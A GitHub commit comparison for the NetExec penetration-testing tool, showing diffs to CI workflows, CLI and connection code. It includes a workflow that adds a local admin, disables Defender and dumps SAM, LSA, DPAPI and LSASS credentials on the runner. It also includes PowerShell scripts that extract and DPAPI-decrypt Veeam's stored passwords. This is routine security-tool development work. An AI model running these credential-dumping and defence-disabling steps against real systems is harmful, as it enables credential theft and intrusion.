Compare commits

..
17 Commits
Author SHA1 Message Date
mpgn 77b3797da6 drop 3.8 2024-06-20 09:16:16 +00:00
mpgn 5e416d7b3e disable defender 2024-06-20 09:15:12 +00:00
mpgn b565bed227 Update checker.yml
Signed-off-by: mpgn <[email protected]>
2024-06-19 19:07:37 +02:00
mpgn 9c41c567b9 Update checker.yml
Signed-off-by: mpgn <[email protected]>
2024-06-19 18:56:08 +02:00
mpgn 3fa07310c5 add rdp 2024-06-19 16:53:27 +00:00
mpgn 7b5ca88243 add rdp 2024-06-19 16:41:51 +00:00
mpgn b77fc9d919 add rdp 2024-06-19 16:36:54 +00:00
mpgn bb030122fe add rdp 2024-06-19 16:31:01 +00:00
mpgn 21e320af41 add rdp 2024-06-19 16:28:44 +00:00
mpgn cf2c0a3b66 add rdp 2024-06-19 16:26:09 +00:00
mpgn 75ba2e2afd add ssh 2024-06-19 15:09:03 +00:00
mpgn 06e45dd23f test 2024-06-19 15:00:49 +00:00
mpgn a866ab825c rename worflow run
debug

debug

debug

debug

debug

debug

Update windows-run.yml

Signed-off-by: mpgn <[email protected]>

debug

debug

debug

debug

debug

debug

debug

debug

debug
2024-06-19 11:17:36 +00:00
mpgn 6243163ad8 remove dev from poetry 2024-06-16 19:01:13 +00:00
mpgn da344b3b5f fix procdump module name 2024-06-16 19:00:01 +00:00
mpgn eb8ceab063 change workflow name 2024-06-16 18:53:40 +00:00
mpgn a2507f85b0 add worflow for windows 2024-06-16 18:50:53 +00:00
136 changed files with 4990 additions and 9877 deletions

No files matched your search

@@ -1,3 +1,11 @@
---
name: Pull request
about: Update code to fix a bug or add an enhancement/feature
title: ''
labels: ''
assignees: ''
---
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
+5 -5
View File
@@ -10,12 +10,12 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.13"]
python-version: ["3.11"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Build Native Binary
@@ -25,13 +25,13 @@ jobs:
pyinstaller netexec.spec
- name: Upload Windows Binary
if: runner.os == 'windows'
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v3
with:
name: nxc.exe
path: dist/nxc.exe
- name: Upload Nix/OSx Binary
if: runner.os != 'windows'
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v3
with:
name: nxc-${{ matrix.os }}
path: dist/nxc
+5 -5
View File
@@ -10,11 +10,11 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.10", "3.11", "3.12", "3.13"]
python-version: ["3.8", "3.9", "3.10", "3.11"]
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Build Python ZipApp with Shiv
@@ -22,12 +22,12 @@ jobs:
pip install shiv
python build_collector.py
- name: Upload nxc ZipApp
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v3
with:
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxc
- name: Upload nxcdb ZipApp
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v3
with:
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxcdb
+179
View File
@@ -0,0 +1,179 @@
name: NetExec Checker
on:
pull_request:
branches: [ main ]
workflow_dispatch:
jobs:
lint:
uses: ./.github/workflows/lint.yml
nxc-smb:
runs-on: windows-latest
needs: [lint]
# technique stolen from @Hackndo my best friend for life <3
steps:
- name: Create new user
run: |
net user nxc Pwn3d!!! /add
- name: Add to local admin
run: |
net localgroup Administrators nxc /add
- name: Update registry key
run: |
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- name: 👾 Disable defender
run: start-process -filepath powershell -ArgumentList '/c','Set-MpPreference -DisableRealtimeMonitoring $true' -verb RunAs
shell: powershell
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: '3.11'
- name: Install poetry
run: |
pipx install poetry --python python3.11
poetry --version
poetry env info
- name: Install libraries without dev group
run: |
poetry install
- name: Dumping sam
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --sam
- name: Dumping lsa
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --lsa
- name: Dumping dpapi
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --dpapi
- name: Dumping with lsassy
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -M lsassy
- name: Exec command
run: |
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=smbexec
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=wmiexec
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=atexec
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=mmcexec
- name: Dumping with procdump
run: |
poetry run netexec --verbose smb %COMPUTERNAME% %COMPUTERNAME% %COMPUTERNAME% -u nxc -p Pwn3d!!! -M procdump
nxc-winrm:
runs-on: windows-latest
needs: [lint]
# technique stolen from @Hackndo my best friend for life <3
steps:
- name: Create new user
run: |
net user nxc Pwn3d!!! /add
- name: Add to local admin
run: |
net localgroup Administrators nxc /add
- name: Update registry key
run: |
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- name: Enable WinRM
run: |
winrm quickconfig -quiet
- name: 👾 Disable defender
run: start-process -filepath powershell -ArgumentList '/c','Set-MpPreference -DisableRealtimeMonitoring $true' -verb RunAs
shell: powershell
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: '3.11'
- name: Install poetry
run: |
pipx install poetry --python python3.11
poetry --version
poetry env info
- name: Install libraries without dev group
run: |
poetry install
- name: Dumping sam
run: |
poetry run netexec winrm 127.0.0.1 -u nxc -p Pwn3d!!! --sam
- name: Dumping lsa
run: |
poetry run netexec winrm 127.0.0.1 -u nxc -p Pwn3d!!! --lsa
- name: Exec command
run: |
poetry run netexec winrm 127.0.0.1 -u nxc -p Pwn3d!!! -x whoami
nxc-rdp:
runs-on: windows-latest
needs: [lint]
# technique stolen from @Hackndo my best friend for life <3
steps:
- name: Create new user
run: |
net user nxc Pwn3d!!! /add
- name: Add to local admin
run: |
net localgroup Administrators nxc /add
- name: Update registry key
run: |
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- name: Update registry key rdo
run: |
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- name: Open Firewall
run: |
netsh advfirewall firewall add rule name="Open Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: '3.11'
- name: Install poetry
run: |
pipx install poetry --python python3.11
poetry --version
poetry env info
- name: Install libraries without dev group
run: |
poetry install
- name: Checking rdp
run: |
poetry run netexec rdp 127.0.0.1
- name: Checking auth
run: |
poetry run netexec rdp 127.0.0.1 -u nxc -p Pwn3d!!!
nxc-ssh:
runs-on: ubuntu-latest
needs: [lint]
# technique stolen from @Hackndo my best friend for life <3
steps:
- name: Enable ssh
run: |
sudo apt update
sudo apt install openssh-server
sudo systemctl status ssh
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: '3.11'
- name: Install poetry
run: |
pipx install poetry --python python3.11
poetry --version
poetry env info
- name: Install libraries without dev group
run: |
poetry install
- name: Connection with user
run: |
poetry run netexec ssh 127.0.0.1
+5 -11
View File
@@ -1,27 +1,21 @@
name: Lint Python code with ruff
name: lint
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
on:
push:
workflow_dispatch:
pull_request_review:
types: [submitted]
on: [workflow_call]
jobs:
lint:
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: 3.13
python-version: 3.11
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
File renamed without changes.
+10 -9
View File
@@ -2,28 +2,24 @@ name: NetExec Tests
on:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
build:
name: Test for Py${{ matrix.python-version }}
if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
if: github.event.review.state == 'APPROVED'
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.10", "3.11", "3.12", "3.13"]
python-version: ["3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
poetry --version
poetry env info
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
cache: poetry
@@ -31,6 +27,11 @@ jobs:
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
@@ -45,4 +46,4 @@ jobs:
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -L
poetry run netexec smb 127.0.0.1 -M veeam
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2022, byt3bl33d3r
All rights reserved.
+1 -6
View File
@@ -1,4 +1,4 @@
![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg)
[![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
[![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
[![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
@@ -43,11 +43,6 @@ sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```
## Availability on Unix distributions
[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
# Development
Development guidelines and recommendations in development
+1 -5
View File
@@ -20,18 +20,15 @@ a = Analysis(
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'impacket.examples.secretsdump',
'impacket.examples.regsecrets',
'impacket.dcerpc.v5.lsat',
'impacket.dcerpc.v5.transport',
'impacket.dcerpc.v5.lsad',
'impacket.dcerpc.v5.gkdi',
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'jwt',
'nxc.connection',
'nxc.servers.smb',
'nxc.protocols.smb.wmiexec',
@@ -48,9 +45,9 @@ a = Analysis(
'nxc.helpers.ntlm_parser',
'paramiko',
'pypsrp.client',
'pywerview.cli.helpers',
'pylnk3',
'pypykatz',
'pyNfsClient',
'masky',
'msldap',
'msldap.connection',
@@ -72,7 +69,6 @@ a = Analysis(
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.lib.target',
+10 -18
View File
@@ -19,17 +19,14 @@ def gen_cli_args():
try:
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
DISTANCE, COMMIT = COMMIT.split(".")
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
DISTANCE = ""
CODENAME = "SmoothOperator"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
CODENAME = "ItsAlwaysDNS"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
@@ -55,9 +52,9 @@ def gen_cli_args():
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
˙ \ / ˙
˙ ˙
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
ॱ \ / ॱ
ॱ ॱ
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -72,6 +69,8 @@ def gen_cli_args():
parents=[generic_parser, output_parser, dns_parser]
)
parser.add_argument("--version", action="store_true", help="Display nxc version")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
@@ -83,7 +82,7 @@ def gen_cli_args():
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
@@ -100,13 +99,6 @@ def gen_cli_args():
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
@@ -124,7 +116,7 @@ def gen_cli_args():
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
argcomplete.autocomplete(parser, always_complete_options=False)
argcomplete.autocomplete(parser)
args = parser.parse_args()
if len(sys.argv) == 1:
@@ -132,7 +124,7 @@ def gen_cli_args():
sys.exit(1)
if args.version:
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
print(f"{VERSION} - {CODENAME} - {COMMIT}")
sys.exit(1)
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
+12 -31
View File
@@ -1,7 +1,4 @@
import random
import sys
import contextlib
from os.path import isfile
from threading import BoundedSemaphore
from functools import wraps
@@ -16,9 +13,10 @@ from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
import sys
import contextlib
sem = BoundedSemaphore(1)
global_failed_logins = 0
@@ -87,8 +85,6 @@ def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
def requires_admin(func):
def _decorator(self, *args, **kwargs):
if self.admin_privs is False:
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
return func(self, *args, **kwargs)
return None
return func(self, *args, **kwargs)
@@ -136,7 +132,7 @@ class connection:
# Authentication info
self.password = ""
self.username = ""
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
@@ -150,7 +146,6 @@ class connection:
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
self.dns_server = self.args.dns_server
# DNS resolution
dns_result = self.resolver(target)
@@ -159,7 +154,7 @@ class connection:
else:
return
if self.kerberos:
if self.args.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
@@ -169,9 +164,6 @@ class connection:
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
finally:
@@ -208,16 +200,13 @@ class connection:
def create_conn_obj(self):
return
def disconnect(self):
return
def check_if_admin(self):
return
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
return
def plaintext_login(self, username, password):
def plaintext_login(self, domain, username, password):
return
def hash_login(self, domain, username, ntlm_hash):
@@ -231,8 +220,7 @@ class connection:
else:
self.logger.debug("Created connection object")
self.enum_host_info()
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
@@ -240,7 +228,6 @@ class connection:
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
"""Calls all the methods specified by the command line arguments
@@ -386,7 +373,7 @@ class connection:
if isfile(user):
with open(user) as user_file:
for line in user_file:
if "\\" in line and len(line.split("\\")) == 2:
if "\\" in line:
domain_single, username_single = line.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
@@ -476,6 +463,8 @@ class connection:
return False
if self.args.continue_on_success and owned:
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
if self.args.jitter:
jitter = self.args.jitter
@@ -490,7 +479,7 @@ class connection:
with sem:
if cred_type == "plaintext":
if self.kerberos:
if self.args.kerberos:
self.logger.debug("Trying to authenticate using Kerberos")
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
@@ -503,7 +492,7 @@ class connection:
self.logger.debug("Trying to authenticate using plaintext")
return self.plaintext_login(username, secret)
elif cred_type == "hash":
if self.kerberos:
if self.args.kerberos:
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
return self.hash_login(domain, username, secret)
elif cred_type == "aesKey":
@@ -550,17 +539,9 @@ class connection:
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
self.logger.debug("Trying to authenticate using Certificate pfx")
if not self.args.username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
return pfx_auth(self)
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
return False
@@ -1,10 +1,9 @@
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
$SqlServerName = "REPLACE_ME_SqlServer"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
$b64Salt = "REPLACE_ME_b64Salt"
#Forming the connection string
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$auth = "Integrated Security=SSPI;" #Local user
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -23,46 +22,19 @@ catch {
exit -1
}
$output=($dataset.Tables | Select-Object -Expand Rows)
if ($output.count -eq 0) {
$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
Write-Host "No passwords found!"
exit
}
Add-Type -assembly System.Security
# Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
#Decrypting passwords using DPAPI
$rows | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$enc = [system.text.encoding]::Default
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
@@ -1,9 +1,8 @@
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
$b64Salt = "REPLACE_ME_b64Salt"
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
if ($output.count -eq 0) {
@@ -11,40 +10,13 @@ if ($output.count -eq 0) {
exit
}
# Decrypting passwords using DPAPI
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$enc = [system.text.encoding]::Default
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
Write-Output $output | Format-Table -HideTableHeaders | Out-String
+23 -103
View File
@@ -1,20 +1,13 @@
import configparser
import ipaddress
import shutil
import sys
import configparser
import shutil
from sqlalchemy import create_engine
from sqlite3 import connect
from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from sqlite3 import connect
from threading import Lock
from sqlalchemy import create_engine, MetaData, func
from sqlalchemy.exc import IllegalStateChangeError
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
@@ -52,8 +45,24 @@ def write_configfile(config, config_path):
config.write(configfile)
def init_protocol_dbs(workspace_name, p_loader=None):
"""Check for each protocol if the database exists, if not create it."""
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
Args:
----
workspace_name (str): The name of the workspace.
Returns:
-------
None
"""
if exists(path_join(WORKSPACE_DIR, workspace_name)):
print(f"[-] Workspace {workspace_name} already exists")
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -78,27 +87,6 @@ def init_protocol_dbs(workspace_name, p_loader=None):
conn.close()
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
Args:
----
workspace_name (str): The name of the workspace.
Returns:
-------
None
"""
if exists(path_join(WORKSPACE_DIR, workspace_name)):
print(f"[-] Workspace {workspace_name} already exists")
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
init_protocol_dbs(workspace_name, p_loader)
def delete_workspace(workspace_name):
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
print(f"[*] Workspace {workspace_name} deleted")
@@ -106,72 +94,4 @@ def delete_workspace(workspace_name):
def initialize_db():
if not exists(path_join(WORKSPACE_DIR, "default")):
create_workspace("default")
